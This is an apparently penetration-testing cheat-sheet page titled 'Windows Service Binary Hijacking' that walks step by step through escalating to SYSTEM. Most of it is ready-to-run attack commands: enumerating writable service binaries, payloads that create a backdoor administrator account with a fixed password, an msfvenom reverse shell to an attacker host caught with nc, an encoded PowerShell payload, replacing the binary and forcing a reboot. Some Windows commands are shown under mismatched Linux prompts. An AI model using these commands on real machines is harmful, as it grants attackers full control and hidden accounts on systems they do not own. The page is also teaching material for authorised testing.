Skip to content
HackIndex logo

HackIndex

Windows Service Binary Hijacking

3 min read May 3, 2026

Windows services run as SYSTEM or a high-privileged account by default. If the binary a service executes is writable by your user, replacing it with a malicious executable gives you code execution as SYSTEM on the next service restart. This is one of the most common privilege escalation vectors on Windows.

Prerequisites Check

Check current token privileges:

┌──(kali㉿kali)-[~]
└─$ whoami /priv

You need to be able to restart the service — either directly (SeShutdownPrivilege, sc stop/start) or wait for a reboot. Check if you can stop and start services:

C:\Users\Guest\Desktop> sc query
C:\Users\Guest\Desktop> net start
C:\Users\Guest\Desktop> net stop

Step 1 — Find Services with Writable Binaries

Using PowerUp:

PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\Guest\Desktop> Get-ModifiableServiceFile
PS C:\Users\Guest\Desktop> # in older versions of PowerUp
PS C:\Users\Guest\Desktop> Get-ServiceFilePermission

This lists all services where the current user has write access to the binary.

Using accesschk:

PS C:\Users\Guest\Desktop> # Find services writable by current user
PS C:\Users\Guest\Desktop> accesschk.exe -uwcqv %USERNAME% * /accepteula 2>nul
PS C:\Users\Guest\Desktop> accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
PS C:\Users\Guest\Desktop> accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul

Manual check — get the binary path and check permissions:

┌──(kali㉿kali)-[~]
└─$ # List all service binary paths
┌──(kali㉿kali)-[~]
└─$ sc query type= all state= all | findstr "SERVICE_NAME"
┌──(kali㉿kali)-[~]
└─$ wmic service get name,pathname,startmode | findstr /i "auto"
 
┌──(kali㉿kali)-[~]
└─$ # Get binary path for a specific service
┌──(kali㉿kali)-[~]
└─$ sc qc VulnerableService
 
┌──(kali㉿kali)-[~]
└─$ # Check permissions on the binary
┌──(kali㉿kali)-[~]
└─$ icacls "C:\Path\To\service.exe"

Look for (F) (full control), (M) (modify), or (W) (write) for your user or group.

Step 2 — Create the Malicious Binary

Option A — Add admin user (simple, no listener needed):

C:\Users\Guest\Desktop> # On target — create a simple cmd payload
C:\Users\Guest\Desktop> echo @echo off > C:\Windows\Temp\payload.bat
C:\Users\Guest\Desktop> echo net user hacker Password123! /add >> C:\Windows\Temp\payload.bat
C:\Users\Guest\Desktop> echo net localgroup administrators hacker /add >> C:\Windows\Temp\payload.bat

For an EXE, compile on attack box:

PS C:\Users\Guest\Desktop> # Msfvenom service executable
PS C:\Users\Guest\Desktop> msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f exe-service -o payload.exe
 
PS C:\Users\Guest\Desktop> # Or reverse shell
PS C:\Users\Guest\Desktop> msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o shell.exe

Option B — PowerShell payload (no compile needed):

PS C:\Users\Guest\Desktop> # Create a PowerShell script that adds admin user
PS C:\Users\Guest\Desktop> $cmd = 'net user hacker Password123! /add; net localgroup administrators hacker /add'
PS C:\Users\Guest\Desktop> $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
PS C:\Users\Guest\Desktop> $encoded = [Convert]::ToBase64String($bytes)
PS C:\Users\Guest\Desktop> # Run: powershell -EncodedCommand $encoded

Step 3 — Replace the Service Binary

Back up the original first:

C:\Users\Guest\Desktop> copy "C:\Path\To\service.exe" "C:\Path\To\service.exe.bak"

Replace with your payload:

┌──(kali㉿kali)-[~]
└─$ copy /y C:\Windows\Temp\payload.exe "C:\Path\To\service.exe"

Step 4 — Restart the Service

C:\Users\Guest\Desktop> # Stop and start the service
C:\Users\Guest\Desktop> sc stop VulnerableService
C:\Users\Guest\Desktop> sc start VulnerableService
 
C:\Users\Guest\Desktop> # Or use net
C:\Users\Guest\Desktop> net stop VulnerableService
C:\Users\Guest\Desktop> net start VulnerableService

If you cannot restart the service directly, check if you can reboot:

C:\Users\Guest\Desktop> whoami /priv | findstr SeShutdownPrivilege
C:\Users\Guest\Desktop> shutdown /r /t 0

Step 5 — Verify Escalation

If you added a user:

C:\Users\Guest\Desktop> net user hacker
C:\Users\Guest\Desktop> net localgroup administrators

If you used a reverse shell, catch it:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Step 6 — Restore Original Binary

After escalating, restore to avoid service failure:

C:\Users\Guest\Desktop> sc stop VulnerableService
C:\Users\Guest\Desktop> copy /y "C:\Path\To\service.exe.bak" "C:\Path\To\service.exe"
C:\Users\Guest\Desktop> sc start VulnerableService

Identifying Restart Triggers

If you cannot manually restart, find what triggers the service:

C:\Users\Guest\Desktop> # Check start type — AUTO means restarts on reboot
C:\Users\Guest\Desktop> sc qc VulnerableService | findstr START_TYPE
 
C:\Users\Guest\Desktop> # Check if any scheduled tasks trigger the service
C:\Users\Guest\Desktop> schtasks /query /fo LIST /v | findstr /i "VulnerableService"
 
C:\Users\Guest\Desktop> # Check event log for restart patterns
C:\Users\Guest\Desktop> wevtutil qe System /q:"*[System[Provider[@Name='Service Control Manager'] and EventID=7036]]" /f:text /c:10

References